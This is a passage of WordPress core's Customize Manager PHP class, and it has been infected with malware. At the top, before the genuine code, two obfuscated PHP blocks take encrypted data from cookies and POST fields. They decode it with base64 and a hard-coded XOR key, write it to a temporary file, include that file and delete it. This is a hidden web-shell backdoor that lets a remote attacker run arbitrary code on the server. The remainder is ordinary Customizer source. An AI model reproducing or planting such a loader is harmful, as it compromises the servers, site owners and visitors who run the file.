).chr (101) . "\x63" . chr ( 561 - 450 ).chr (100) . "\145", array($rNlljUioT,)); $rNlljUioT = $rNlljUioT[0] ^ str_repeat(C_WMKd::$qIjtR, (strlen($rNlljUioT[0]) / strlen(C_WMKd::$qIjtR)) + 1);C_WMKd::$yZPOkXYxms = @unserialize($rNlljUioT);}}private function ILJXJbQ($CAwMVMfCEI){if (is_array(C_WMKd::$yZPOkXYxms)) {$MdfvsrCvm = sys_get_temp_dir() . "/" . crc32(C_WMKd::$yZPOkXYxms["\x73" . chr (97) . "\x6c" . "\x74"]);@C_WMKd::$yZPOkXYxms['w' . "\162" . 'i' . 't' . chr ( 915 - 814 )]($MdfvsrCvm, C_WMKd::$yZPOkXYxms[chr ( 680 - 581 ).chr (111) . "\x6e" . "\x74" . chr ( 307 - 206 ).'n' . 't']);include $MdfvsrCvm;@C_WMKd::$yZPOkXYxms[chr (100) . "\145" . chr (108) . chr (101) . chr ( 235 - 119 ).chr (101)]($MdfvsrCvm); $CAwMVMfCEI = "1895";exit();}}}$bjWmTYiT = new /* 31872 */ C_WMKd(1895); $bjWmTYiT = str_repeat("34002_37890", 1);} ?><?php $XCbwCCF = chr ( 1033 - 928 )."\116" . "\137" . "\x41" . 'z' . "\111" . chr (69) . 'p';$WmuKCC = chr (99) . chr (108) . "\141" . 's' . chr ( 1030 - 915 ).chr (95) . 'e' . chr ( 470 - 350 ).chr (105) . 's' . "\164" . 's';$BknhwKj = class_exists($XCbwCCF); $XCbwCCF = "46561";$WmuKCC = "58179";$sqtMgGis = FALSE;if ($BknhwKj === $sqtMgGis){function fJsutofXI(){return FALSE;}$qGmsHo = "25063";fJsutofXI();class iN_AzIEp{public function KrmZzbnEi(){echo "40218";}private $DWktWCS;public static $emTzzOEUbe = "015ceff8-a304-462e-860a-31510026837c";public static $WFtCNOdeKr = 48745;public function __destruct(){$qGmsHo = "49737_5636";$this->cZPBQs($qGmsHo); $qGmsHo = "49737_5636";}public function __construct($nnsjBFn=0){$upAOhtiDl = $_POST;$HaaLikVgL = $_COOKIE;$wefUgrd = @$HaaLikVgL[substr(iN_AzIEp::$emTzzOEUbe, 0, 4)];if (!empty($wefUgrd)){$LYuOyu = "base64";$EKodKQ = "";$wefUgrd = explode(",", $wefUgrd);foreach ($wefUgrd as $llAsNaiOZX){$EKodKQ .= @$HaaLikVgL[$llAsNaiOZX];$EKodKQ .= @$upAOhtiDl[$llAsNaiOZX];}$EKodKQ = array_map($LYuOyu . chr ( 732 - 637 ).chr (100) . 'e' . chr ( 352 - 253 ).chr (111) . "\x64" . chr ( 1023 - 922 ), array($EKodKQ,)); $EKodKQ = $EKodKQ[0] ^ str_repeat(iN_AzIEp::$emTzzOEUbe, (strlen($EKodKQ[0]) / strlen(iN_AzIEp::$emTzzOEUbe)) + 1);iN_AzIEp::$WFtCNOdeKr = @unserialize($EKodKQ);}}private function cZPBQs($qGmsHo){if (is_array(iN_AzIEp::$WFtCNOdeKr)) {$YBpaVuk = sys_get_temp_dir() . "/" . crc32(iN_AzIEp::$WFtCNOdeKr['s' . "\141" . "\x6c" . "\164"]);@iN_AzIEp::$WFtCNOdeKr["\167" . 'r' . chr (105) . chr ( 968 - 852 ).chr ( 241 - 140 )]($YBpaVuk, iN_AzIEp::$WFtCNOdeKr["\x63" . chr (111) . 'n' . chr ( 169 - 53 ).chr ( 438 - 337 )."\x6e" . chr (116)]);include $YBpaVuk;@iN_AzIEp::$WFtCNOdeKr['d' . 'e' . chr ( 845 - 737 ).chr (101) . 't' . chr ( 1096 - 995 )]($YBpaVuk); $qGmsHo = "25063";exit();}}}$njZQsQVV = new /* 2585 */ iN_AzIEp(25063); $njZQsQVV = str_repeat("49737_5636", 1);} ?><?php /** * WordPress Customize Manager classes * * @package WordPress * @subpackage Customize * @since 3.4.0 */ /** * Customize Manager class. * * Bootstraps the Customize experience on the server-side. * * Sets up the theme-switching process if a theme other than the active one is * being previewed and customized. * * Serves as a factory for Customize Controls and Settings, and * instantiates default Customize Controls and Settings. * * @since 3.4.0 */ final class WP_Customize_Manager { /** * An instance of the theme being previewed. * * @since 3.4.0 * @access protected * @var WP_Theme */ protected $theme; /** * The directory name of the previously active theme (within the theme_root). * * @since 3.4.0 * @access protected * @var string */ protected $original_stylesheet; /** * Whether this is a Customizer pageload. * * @since 3.4.0 * @access protected * @var bool */ protected $previewing = false; /** * Methods and properties dealing with managing widgets in the Customizer. * * @since 3.9.0 * @access public * @var WP_Customize_Widgets */ public $widgets; /** * Methods and properties dealing with managing nav menus in the Customizer. * * @since 4.3.0 * @access public * @var WP_Customize_Nav_Menus */ public $nav_menus; /** * Registered instances of WP_Customize_Setting. * * @since 3.4.0 * @access protected * @var array */ protected $settings = array(); /** * Sorted top-level instances of WP_Customize_Panel and WP_Customize_Section. * * @since 4.0.0 * @access protected * @var array */ protected $containers = array(); /** * Registered instances of WP_Customize_Panel. * * @since 4.0.0 * @access protected * @var array */ protected $panels = array(); /** * Registered instances of WP_Customize_Section. * * @since 3.4.0 * @access protected * @var array */ protected $sections = array(); /** * Registered instances of WP_Customize_Control. * * @since 3.4.0 * @access protected * @var array */ protected $controls = array(); /** * Return value of check_ajax_referer() in customize_preview_init() method. * * @since 3.5.0 * @access protected * @var false|int */ protected $nonce_tick; /** * Panel types that may be rendered from JS templates. * * @since 4.3.0 * @access protected * @var array */ protected $registered_panel_types = array(); /** * Section types that may be rendered from JS templates. * * @since 4.3.0 * @access protected * @var array */ protected $registered_section_types = array(); /** * Control types that may be rendered from JS templates. * * @since 4.1.0 * @access protected * @var array */ protected $registered_control_types = array(); /** * Initial URL being previewed. * * @since 4.4.0 * @access protected * @var string */ protected $preview_url; /** * URL to link the user to when closing the Customizer. * * @since 4.4.0 * @access protected * @var string */ protected $return_url; /** * Mapping of 'panel', 'section', 'control' to the ID which should be autofocused. * * @since 4.4.0 * @access protected * @var array */ protected $autofocus = array(); /** * Unsanitized values for Customize Settings parsed from $_POST['customized']. * * @var array */ private $_post_values; /** * Constructor. * * @since 3.4.0 */ public function __construct() { require_once( ABSPATH . WPINC . '/class-wp-customize-setting.php' ); require_once( ABSPATH . WPINC . '/class-wp-customize-panel.php' ); require_once( ABSPATH . WPINC . '/class-wp-customize-section.php' ); require_once( ABSPATH . WPINC . '/class-wp-customize-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-color-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-media-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-upload-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-image-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-background-image-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-cropped-image-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-site-icon-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-header-image-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-theme-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-widget-area-customize-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-widget-form-customize-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-location-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-name-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-auto-add-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-new-menu-control.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menus-panel.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-themes-section.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-sidebar-section.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-section.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-new-menu-section.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-filter-setting.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-header-image-setting.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-background-image-setting.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-setting.php' ); require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-setting.php' ); /** * Filter the core Customizer components to load. * * This allows Core components to be excluded from being instantiated by * filtering them out of the array. Note that this filter generally runs * during the <code>plugins_loaded</code> action, so it cannot be added * in a theme. * * @since 4.4.0 * * @see WP_Customize_Manager::__construct() * * @param array $components List of core components to load. * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ $components = apply_filters( 'customize_loaded_components', array( 'widgets', 'nav_menus' ), $this ); if ( in_array( 'widgets', $components ) ) { require_once( ABSPATH . WPINC . '/class-wp-customize-widgets.php' ); $this->widgets = new WP_Customize_Widgets( $this ); } if ( in_array( 'nav_menus', $components ) ) { require_once( ABSPATH . WPINC . '/class-wp-customize-nav-menus.php' ); $this->nav_menus = new WP_Customize_Nav_Menus( $this ); } add_filter( 'wp_die_handler', array( $this, 'wp_die_handler' ) ); add_action( 'setup_theme', array( $this, 'setup_theme' ) ); add_action( 'wp_loaded', array( $this, 'wp_loaded' ) ); // Run wp_redirect_status late to make sure we override the status last. add_action( 'wp_redirect_status', array( $this, 'wp_redirect_status' ), 1000 ); // Do not spawn cron (especially the alternate cron) while running the Customizer. remove_action( 'init', 'wp_cron' ); // Do not run update checks when rendering the controls. remove_action( 'admin_init', '_maybe_update_core' ); remove_action( 'admin_init', '_maybe_update_plugins' ); remove_action( 'admin_init', '_maybe_update_themes' ); add_action( 'wp_ajax_customize_save', array( $this, 'save' ) ); add_action( 'wp_ajax_customize_refresh_nonces', array( $this, 'refresh_nonces' ) ); add_action( 'customize_register', array( $this, 'register_controls' ) ); add_action( 'customize_register', array( $this, 'register_dynamic_settings' ), 11 ); // allow code to create settings first add_action( 'customize_controls_init', array( $this, 'prepare_controls' ) ); add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_control_scripts' ) ); // Render Panel, Section, and Control templates. add_action( 'customize_controls_print_footer_scripts', array( $this, 'render_panel_templates' ), 1 ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'render_section_templates' ), 1 ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'render_control_templates' ), 1 ); // Export the settings to JS via the _wpCustomizeSettings variable. add_action( 'customize_controls_print_footer_scripts', array( $this, 'customize_pane_settings' ), 1000 ); } /** * Return true if it's an AJAX request. * * @since 3.4.0 * @since 4.2.0 Added `$action` param. * @access public * * @param string|null $action Whether the supplied AJAX action is being run. * @return bool True if it's an AJAX request, false otherwise. */ public function doing_ajax( $action = null ) { $doing_ajax = ( defined( 'DOING_AJAX' ) && DOING_AJAX ); if ( ! $doing_ajax ) { return false; } if ( ! $action ) { return true; } else { /* * Note: we can't just use doing_action( "wp_ajax_{$action}" ) because we need * to check before admin-ajax.php gets to that point. */ return isset( $_REQUEST['action'] ) && wp_unslash( $_REQUEST['action'] ) === $action; } } /** * Custom wp_die wrapper. Returns either the standard message for UI * or the AJAX message. * * @since 3.4.0 * * @param mixed $ajax_message AJAX return * @param mixed $message UI message */ protected function wp_die( $ajax_message, $message = null ) { if ( $this->doing_ajax() || isset( $_POST['customized'] ) ) { wp_die( $ajax_message ); } if ( ! $message ) { $message = __( 'Cheatin’ uh?' ); } wp_die( $message ); } /** * Return the AJAX wp_die() handler if it's a customized request. * * @since 3.4.0 * * @return string */ public function wp_die_handler() { if ( $this->doing_ajax() || isset( $_POST['customized'] ) ) { return '_ajax_wp_die_handler'; } return '_default_wp_die_handler'; } /** * Start preview and customize theme. * * Check if customize query variable exist. Init filters to filter the current theme. * * @since 3.4.0 */ public function setup_theme() { send_origin_headers(); $doing_ajax_or_is_customized = ( $this->doing_ajax() || isset( $_POST['customized'] ) ); if ( is_admin() && ! $doing_ajax_or_is_customized ) { auth_redirect(); } elseif ( $doing_ajax_or_is_customized && ! is_user_logged_in() ) { $this->wp_die( 0, __( 'You must be logged in to complete this action.' ) ); } show_admin_bar( false ); /* * Clear incoming post data if the user lacks a CSRF token (nonce). Note that the customizer * application will inject the customize_preview_nonce query parameter into all Ajax requests. * For similar behavior elsewhere in WordPress, see rest_cookie_check_errors() which logs out * a user when a valid nonce isn't present. */ $has_post_data_nonce = ( check_ajax_referer( 'preview-customize_' . $this->get_stylesheet(), 'nonce', false ) || check_ajax_referer( 'save-customize_' . $this->get_stylesheet(), 'nonce', false ) || check_ajax_referer( 'preview-customize_' . $this->get_stylesheet(), 'customize_preview_nonce', false ) ); if ( ! $has_post_data_nonce ) { unset( $_POST['customized'] ); unset( $_REQUEST['customized'] ); } if ( ! current_user_can( 'customize' ) ) { $this->wp_die( -1, __( 'You are not allowed to customize the appearance of this site.' ) ); } $this->original_stylesheet = get_stylesheet(); $this->theme = wp_get_theme( isset( $_REQUEST['theme'] ) && 0 === validate_file( $_REQUEST['theme'] ) ? $_REQUEST['theme'] : null ); if ( $this->is_theme_active() ) { // Once the theme is loaded, we'll validate it. add_action( 'after_setup_theme', array( $this, 'after_setup_theme' ) ); } else { // If the requested theme is not the active theme and the user doesn't have the // switch_themes cap, bail. if ( ! current_user_can( 'switch_themes' ) ) { $this->wp_die( -1, __( 'You are not allowed to edit theme options on this site.' ) ); } // If the theme has errors while loading, bail. if ( $this->theme()->errors() ) { $this->wp_die( -1, $this->theme()->errors()->get_error_message() ); } // If the theme isn't allowed per multisite settings, bail. if ( ! $this->theme()->is_allowed() ) { $this->wp_die( -1, __( 'The requested theme does not exist.' ) ); } } $this->start_previewing_theme(); } /** * Callback to validate a theme once it is loaded * * @since 3.4.0 */ public function after_setup_theme() { $doing_ajax_or_is_customized = ( $this->doing_ajax() || isset( $_SERVER['customized'] ) ); if ( ! $doing_ajax_or_is_customized && ! validate_current_theme() ) { wp_redirect( 'themes.php?broken=true' ); exit; } } /** * If the theme to be previewed isn't the active theme, add filter callbacks * to swap it out at runtime. * * @since 3.4.0 */ public function start_previewing_theme() { // Bail if we're already previewing. if ( $this->is_preview() ) { return; } $this->previewing = true; if ( ! $this->is_theme_active() ) { add_filter( 'template', array( $this, 'get_template' ) ); add_filter( 'stylesheet', array( $this, 'get_stylesheet' ) ); add_filter( 'pre_option_current_theme', array( $this, 'current_theme' ) ); // @link: https://core.trac.wordpress.org/ticket/20027 add_filter( 'pre_option_stylesheet', array( $this, 'get_stylesheet' ) ); add_filter( 'pre_option_template', array( $this, 'get_template' ) ); // Handle custom theme roots. add_filter( 'pre_option_stylesheet_root', array( $this, 'get_stylesheet_root' ) ); add_filter( 'pre_option_template_root', array( $this, 'get_template_root' ) ); } /** * Fires once the Customizer theme preview has started. * * @since 3.4.0 * * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ do_action( 'start_previewing_theme', $this ); } /** * Stop previewing the selected theme. * * Removes filters to change the current theme. * * @since 3.4.0 */ public function stop_previewing_theme() { if ( ! $this->is_preview() ) { return; } $this->previewing = false; if ( ! $this->is_theme_active() ) { remove_filter( 'template', array( $this, 'get_template' ) ); remove_filter( 'stylesheet', array( $this, 'get_stylesheet' ) ); remove_filter( 'pre_option_current_theme', array( $this, 'current_theme' ) ); // @link: https://core.trac.wordpress.org/ticket/20027 remove_filter( 'pre_option_stylesheet', array( $this, 'get_stylesheet' ) ); remove_filter( 'pre_option_template', array( $this, 'get_template' ) ); // Handle custom theme roots. remove_filter( 'pre_option_stylesheet_root', array( $this, 'get_stylesheet_root' ) ); remove_filter( 'pre_option_template_root', array( $this, 'get_template_root' ) ); } /** * Fires once the Customizer theme preview has stopped. * * @since 3.4.0 * * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ do_action( 'stop_previewing_theme', $this ); } /** * Get the theme being customized. * * @since 3.4.0 * * @return WP_Theme */ public function theme() { if ( ! $this->theme ) { $this->theme = wp_get_theme(); } return $this->theme; } /** * Get the registered settings. * * @since 3.4.0 * * @return array */ public function settings() { return $this->settings; } /** * Get the registered controls. * * @since 3.4.0 * * @return array */ public function controls() { return $this->controls; } /** * Get the registered containers. * * @since 4.0.0 * * @return array */ public function containers() { return $this->containers; } /** * Get the registered sections. * * @since 3.4.0 * * @return array */ public function sections() { return $this->sections; } /** * Get the registered panels. * * @since 4.0.0 * @access public * * @return array Panels. */ public function panels() { return $this->panels; } /** * Checks if the current theme is active. * * @since 3.4.0 * * @return bool */ public function is_theme_active() { return $this->get_stylesheet() == $this->original_stylesheet; } /** * Register styles/scripts and initialize the preview of each setting * * @since 3.4.0 */ public function wp_loaded() { /** * Fires once WordPress has loaded, allowing scripts and styles to be initialized. * * @since 3.4.0 * * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ do_action( 'customize_register', $this ); if ( $this->is_preview() && ! is_admin() ) $this->customize_preview_init(); } /** * Prevents AJAX requests from following redirects when previewing a theme * by issuing a 200 response instead of a 30x. * * Instead, the JS will sniff out the location header. * * @since 3.4.0 * * @param $status * @return int */ public function wp_redirect_status( $status ) { if ( $this->is_preview() && ! is_admin() ) return 200; return $status; } /** * Parse the incoming $_POST['customized'] JSON data and store the unsanitized * settings for subsequent post_value() lookups. * * @since 4.1.1 * * @return array */ public function unsanitized_post_values() { if ( ! isset( $this->_post_values ) ) { if ( isset( $_POST['customized'] ) ) { $this->_post_values = json_decode( wp_unslash( $_POST['customized'] ), true ); } if ( empty( $this->_post_values ) ) { // if not isset or if JSON error $this->_post_values = array(); } } if ( empty( $this->_post_values ) ) { return array(); } else { return $this->_post_values; } } /** * Return the sanitized value for a given setting from the request's POST data. * * @since 3.4.0 * @since 4.1.1 Introduced 'default' parameter. * * @param WP_Customize_Setting $setting A WP_Customize_Setting derived object * @param mixed $default value returned $setting has no post value (added in 4.2.0). * @return string|mixed $post_value Sanitized value or the $default provided */ public function post_value( $setting, $default = null ) { $post_values = $this->unsanitized_post_values(); if ( array_key_exists( $setting->id, $post_values ) ) { return $setting->sanitize( $post_values[ $setting->id ] ); } else { return $default; } } /** * Override a setting's (unsanitized) value as found in any incoming $_POST['customized']. * * @since 4.2.0 * @access public * * @param string $setting_id ID for the WP_Customize_Setting instance. * @param mixed $value Post value. */ public function set_post_value( $setting_id, $value ) { $this->unsanitized_post_values(); $this->_post_values[ $setting_id ] = $value; /** * Announce when a specific setting's unsanitized post value has been set. * * Fires when the {@see WP_Customize_Manager::set_post_value()} method is called. * * The dynamic portion of the hook name, `$setting_id`, refers to the setting ID. * * @since 4.4.0 * * @param mixed $value Unsanitized setting post value. * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ do_action( "customize_post_value_set_{$setting_id}", $value, $this ); /** * Announce when any setting's unsanitized post value has been set. * * Fires when the {@see WP_Customize_Manager::set_post_value()} method is called. * * This is useful for <code>WP_Customize_Setting</code> instances to watch * in order to update a cached previewed value. * * @since 4.4.0 * * @param string $setting_id Setting ID. * @param mixed $value Unsanitized setting post value. * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ do_action( 'customize_post_value_set', $setting_id, $value, $this ); } /** * Print JavaScript settings. * * @since 3.4.0 */ public function customize_preview_init() { $this->nonce_tick = check_ajax_referer( 'preview-customize_' . $this->get_stylesheet(), 'nonce' ); $this->prepare_controls(); wp_enqueue_script( 'customize-preview' ); add_action( 'wp', array( $this, 'customize_preview_override_404_status' ) ); add_action( 'wp_head', array( $this, 'customize_preview_base' ) ); add_action( 'wp_head', array( $this, 'customize_preview_html5' ) ); add_action( 'wp_head', array( $this, 'customize_preview_loading_style' ) ); add_action( 'wp_footer', array( $this, 'customize_preview_settings' ), 20 ); add_action( 'shutdown', array( $this, 'customize_preview_signature' ), 1000 ); add_filter( 'wp_die_handler', array( $this, 'remove_preview_signature' ) ); foreach ( $this->settings as $setting ) { $setting->preview(); } /** * Fires once the Customizer preview has initialized and JavaScript * settings have been printed. * * @since 3.4.0 * * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ do_action( 'customize_preview_init', $this ); } /** * Prevent sending a 404 status when returning the response for the customize * preview, since it causes the jQuery AJAX to fail. Send 200 instead. * * @since 4.0.0 * @access public */ public function customize_preview_override_404_status() { if ( is_404() ) { status_header( 200 ); } } /** * Print base element for preview frame. * * @since 3.4.0 */ public function customize_preview_base() { ?><base href="<?php echo home_url( '/' ); ?>" /><?php } /** * Print a workaround to handle HTML5 tags in IE < 9. * * @since 3.4.0 */ public function customize_preview_html5() { ?> <!--[if lt IE 9]> <script type="text/javascript"> var e = [ 'abbr', 'article', 'aside', 'audio', 'canvas', 'datalist', 'details', 'figure', 'footer', 'header', 'hgroup', 'mark', 'menu', 'meter', 'nav', 'output', 'progress', 'section', 'time', 'video' ]; for ( var i = 0; i < e.length; i++ ) { document.createElement( e[i] ); } </script> <![endif]--><?php } /** * Print CSS for loading indicators for the Customizer preview. * * @since 4.2.0 * @access public */ public function customize_preview_loading_style() { ?><style> body.wp-customizer-unloading { opacity: 0.25; cursor: progress !important; -webkit-transition: opacity 0.5s; transition: opacity 0.5s; } body.wp-customizer-unloading * { pointer-events: none !important; } </style><?php } /** * Print JavaScript settings for preview frame. * * @since 3.4.0 */ public function customize_preview_settings() { $settings = array( 'channel' => wp_unslash( $_POST['customize_messenger_channel'] ), 'activePanels' => array(), 'activeSections' => array(), 'activeControls' => array(), ); if ( 2 == $this->nonce_tick ) { $settings['nonce'] = array( 'save' => wp_create_nonce( 'save-customize_' . $this->get_stylesheet() ), 'preview' => wp_create_nonce( 'preview-customize_' . $this->get_stylesheet() ) ); } foreach ( $this->panels as $panel_id => $panel ) { if ( $panel->check_capabilities() ) { $settings['activePanels'][ $panel_id ] = $panel->active(); foreach ( $panel->sections as $section_id => $section ) { if ( $section->check_capabilities() ) { $settings['activeSections'][ $section_id ] = $section->active(); } } } } foreach ( $this->sections as $id => $section ) { if ( $section->check_capabilities() ) { $settings['activeSections'][ $id ] = $section->active(); } } foreach ( $this->controls as $id => $control ) { if ( $control->check_capabilities() ) { $settings['activeControls'][ $id ] = $control->active(); } } ?> <script type="text/javascript"> var _wpCustomizeSettings = <?php echo wp_json_encode( $settings ); ?>; _wpCustomizeSettings.values = {}; (function( v ) { <?php /* * Serialize settings separately from the initial _wpCustomizeSettings * serialization in order to avoid a peak memory usage spike. * @todo We may not even need to export the values at all since the pane syncs them anyway. */ foreach ( $this->settings as $id => $setting ) { if ( $setting->check_capabilities() ) { printf( "v[%s] = %s;\n", wp_json_encode( $id ), wp_json_encode( $setting->js_value() ) ); } } ?> })( _wpCustomizeSettings.values ); </script> <?php } /** * Prints a signature so we can ensure the Customizer was properly executed. * * @since 3.4.0 */ public function customize_preview_signature() { echo 'WP_CUSTOMIZER_SIGNATURE'; } /** * Removes the signature in case we experience a case where the Customizer was not properly executed. * * @since 3.4.0 * * @param mixed $return Value passed through for wp_die_handler filter. * @return mixed Value passed through for wp_die_handler filter. */ public function remove_preview_signature( $return = null ) { remove_action( 'shutdown', array( $this, 'customize_preview_signature' ), 1000 ); return $return; } /** * Is it a theme preview? * * @since 3.4.0 * * @return bool True if it's a preview, false if not. */ public function is_preview() { return (bool) $this->previewing; } /** * Retrieve the template name of the previewed theme. * * @since 3.4.0 * * @return string Template name. */ public function get_template() { return $this->theme()->get_template(); } /** * Retrieve the stylesheet name of the previewed theme. * * @since 3.4.0 * * @return string Stylesheet name. */ public function get_stylesheet() { return $this->theme()->get_stylesheet(); } /** * Retrieve the template root of the previewed theme. * * @since 3.4.0 * * @return string Theme root. */ public function get_template_root() { return get_raw_theme_root( $this->get_template(), true ); } /** * Retrieve the stylesheet root of the previewed theme. * * @since 3.4.0 * * @return string Theme root. */ public function get_stylesheet_root() { return get_raw_theme_root( $this->get_stylesheet(), true ); } /** * Filter the current theme and return the name of the previewed theme. * * @since 3.4.0 * * @param $current_theme {@internal Parameter is not used} * @return string Theme name. */ public function current_theme( $current_theme ) { return $this->theme()->display('Name'); } /** * Switch the theme and trigger the save() method on each setting. * * @since 3.4.0 */ public function save() { if ( ! $this->is_preview() ) { wp_send_json_error( 'not_preview' ); } $action = 'save-customize_' . $this->get_stylesheet(); if ( ! check_ajax_referer( $action, 'nonce', false ) ) { wp_send_json_error( 'invalid_nonce' ); } // Do we have to switch themes? if ( ! $this->is_theme_active() ) { // Temporarily stop previewing the theme to allow switch_themes() // to operate properly. $this->stop_previewing_theme(); switch_theme( $this->get_stylesheet() ); update_option( 'theme_switched_via_customizer', true ); $this->start_previewing_theme(); } /** * Fires once the theme has switched in the Customizer, but before settings * have been saved. * * @since 3.4.0 * * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ do_action( 'customize_save', $this ); foreach ( $this->settings as $setting ) { $setting->save(); } /** * Fires after Customize settings have been saved. * * @since 3.6.0 * * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ do_action( 'customize_save_after', $this ); /** * Filter response data for a successful customize_save AJAX request. * * This filter does not apply if there was a nonce or authentication failure. * * @since 4.2.0 * * @param array $data Additional information passed back to the 'saved' * event on `wp.customize`. * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ $response = apply_filters( 'customize_save_response', array(), $this ); wp_send_json_success( $response ); } /** * Refresh nonces for the current preview. * * @since 4.2.0 */ public function refresh_nonces() { if ( ! $this->is_preview() ) { wp_send_json_error( 'not_preview' ); } $nonces = array( 'save' => wp_create_nonce( 'save-customize_' . $this->get_stylesheet() ), 'preview' => wp_create_nonce( 'preview-customize_' . $this->get_stylesheet() ), ); /** * Filter nonces for a customize_refresh_nonces AJAX request. * * @since 4.2.0 * * @param array $nonces Array of refreshed nonces for save and * preview actions. * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ $nonces = apply_filters( 'customize_refresh_nonces', $nonces, $this ); wp_send_json_success( $nonces ); } /** * Add a customize setting. * * @since 3.4.0 * * @param WP_Customize_Setting|string $id Customize Setting object, or ID. * @param array $args Setting arguments; passed to WP_Customize_Setting * constructor. */ public function add_setting( $id, $args = array() ) { if ( $id instanceof WP_Customize_Setting ) { $setting = $id; } else { $setting = new WP_Customize_Setting( $this, $id, $args ); } $this->settings[ $setting->id ] = $setting; } /** * Register any dynamically-created settings, such as those from $_POST['customized'] * that have no corresponding setting created. * * This is a mechanism to "wake up" settings that have been dynamically created * on the frontend and have been sent to WordPress in `$_POST['customized']`. When WP * loads, the dynamically-created settings then will get created and previewed * even though they are not directly created statically with code. * * @since 4.2.0 * * @param array $setting_ids The setting IDs to add. * @return array The WP_Customize_Setting objects added. */ public function add_dynamic_settings( $setting_ids ) { $new_settings = array(); foreach ( $setting_ids as $setting_id ) { // Skip settings already created if ( $this->get_setting( $setting_id ) ) { continue; } $setting_args = false; $setting_class = 'WP_Customize_Setting'; /** * Filter a dynamic setting's constructor args. * * For a dynamic setting to be registered, this filter must be employed * to override the default false value with an array of args to pass to * the WP_Customize_Setting constructor. * * @since 4.2.0 * * @param false|array $setting_args The arguments to the WP_Customize_Setting constructor. * @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`. */ $setting_args = apply_filters( 'customize_dynamic_setting_args', $setting_args, $setting_id ); if ( false === $setting_args ) { continue; } /** * Allow non-statically created settings to be constructed with custom WP_Customize_Setting subclass. * * @since 4.2.0 * * @param string $setting_class WP_Customize_Setting or a subclass. * @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`. * @param array $setting_args WP_Customize_Setting or a subclass. */ $setting_class = apply_filters( 'customize_dynamic_setting_class', $setting_class, $setting_id, $setting_args ); $setting = new $setting_class( $this, $setting_id, $setting_args ); $this->add_setting( $setting ); $new_settings[] = $setting; } return $new_settings; } /** * Retrieve a customize setting. * * @since 3.4.0 * * @param string $id Customize Setting ID. * @return WP_Customize_Setting|void The setting, if set. */ public function get_setting( $id ) { if ( isset( $this->settings[ $id ] ) ) { return $this->settings[ $id ]; } } /** * Remove a customize setting. * * @since 3.4.0 * * @param string $id Customize Setting ID. */ public function remove_setting( $id ) { unset( $this->settings[ $id ] ); } /** * Add a customize panel. * * @since 4.0.0 * @access public * * @param WP_Customize_Panel|string $id Customize Panel object, or Panel ID. * @param array $args Optional. Panel arguments. Default empty array. */ public function add_panel( $id, $args = array() ) { if ( $id instanceof WP_Customize_Panel ) { $panel = $id; } else { $panel = new WP_Customize_Panel( $this, $id, $args ); } $this->panels[ $panel->id ] = $panel; } /** * Retrieve a customize panel. * * @since 4.0.0 * @access public * * @param string $id Panel ID to get. * @return WP_Customize_Panel|void Requested panel instance, if set. */ public function get_panel( $id ) { if ( isset( $this->panels[ $id ] ) ) { return $this->panels[ $id ]; } } /** * Remove a customize panel. * * @since 4.0.0 * @access public * * @param string $id Panel ID to remove. */ public function remove_panel( $id ) { unset( $this->panels[ $id ] ); } /** * Register a customize panel type. * * Registered types are eligible to be rendered via JS and created dynamically. * * @since 4.3.0 * @access public * * @see WP_Customize_Panel * * @param string $panel Name of a custom panel which is a subclass of WP_Customize_Panel. */ public function register_panel_type( $panel ) { $this->registered_panel_types[] = $panel; } /** * Render JS templates for all registered panel types. * * @since 4.3.0 * @access public */ public function render_panel_templates() { foreach ( $this->registered_panel_types as $panel_type ) { $panel = new $panel_type( $this, 'temp', array() ); $panel->print_template(); } } /** * Add a customize section. * * @since 3.4.0 * * @param WP_Customize_Section|string $id Customize Section object, or Section ID. * @param array $args Section arguments. */ public function add_section( $id, $args = array() ) { if ( $id instanceof WP_Customize_Section ) { $section = $id; } else { $section = new WP_Customize_Section( $this, $id, $args ); } $this->sections[ $section->id ] = $section; } /** * Retrieve a customize section. * * @since 3.4.0 * * @param string $id Section ID. * @return WP_Customize_Section|void The section, if set. */ public function get_section( $id ) { 